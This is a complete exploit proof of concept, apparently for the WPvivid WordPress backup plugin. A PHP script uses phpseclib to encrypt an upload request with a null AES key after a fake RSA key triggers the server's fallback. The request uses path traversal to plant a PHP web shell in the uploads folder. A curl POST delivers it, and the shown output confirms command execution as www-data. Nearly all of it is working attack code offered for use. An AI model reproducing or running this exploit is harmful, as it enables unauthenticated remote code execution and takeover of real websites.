mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php

<?php
// exploit.php - Authored by Lucas Montes (NiRoX)
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');

// 1. Initialize Rijndael (AES) 
$rij = new Crypt_Rijndael();
$rij->setBlockLength(128); 

// 2. VULNERABILITY REPRODUCTION
// The server defaults to a null key when RSA decryption fails (returns false).
// We set our local key to 16 null bytes to match the server's vulnerable state.
$rij->setKey(str_repeat("\0", 16));

// 3. The Payload
$shell_content = '<?php system($_GET["cmd"]); ?>';

// 4. The JSON Object with Path Traversal
// We traverse up to /uploads/ to bypass .htaccess restrictions
$params = [
    "backup_id" => "1",
    "name" => "../uploads/pwn_remote.php", 
    "data" => base64_encode($shell_content),
    "offset" => 0,
    "file_size" => strlen($shell_content),
    "total_size" => strlen($shell_content),
    "index" => 0,
    "md5" => md5($shell_content),
    "type" => "backup",
    "status" => "running"
];

// 5. Encrypt with Null Key
$encrypted = $rij->encrypt(json_encode($params));

// 6. Construct Packet
// "ABC" is the fake RSA key that triggers the 'false' return on the server
$fake_key = "ABC"; 
$payload = str_pad(dechex(strlen($fake_key)), 3, "0", STR_PAD_LEFT) 
         . $fake_key 
         . str_pad(dechex(strlen($encrypted)), 16, "0", STR_PAD_LEFT) 
         . $encrypted;

echo base64_encode($payload);
?>

PAYLOAD=$(php exploit.php)

curl -i -s -X POST 'http://TARGET-URL/' \
  -d 'wpvivid_action=send_to_site' \
  --data-urlencode "wpvivid_content=$PAYLOAD"

http://TARGET-URL/wp-content/uploads/pwn_remote.php?cmd=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)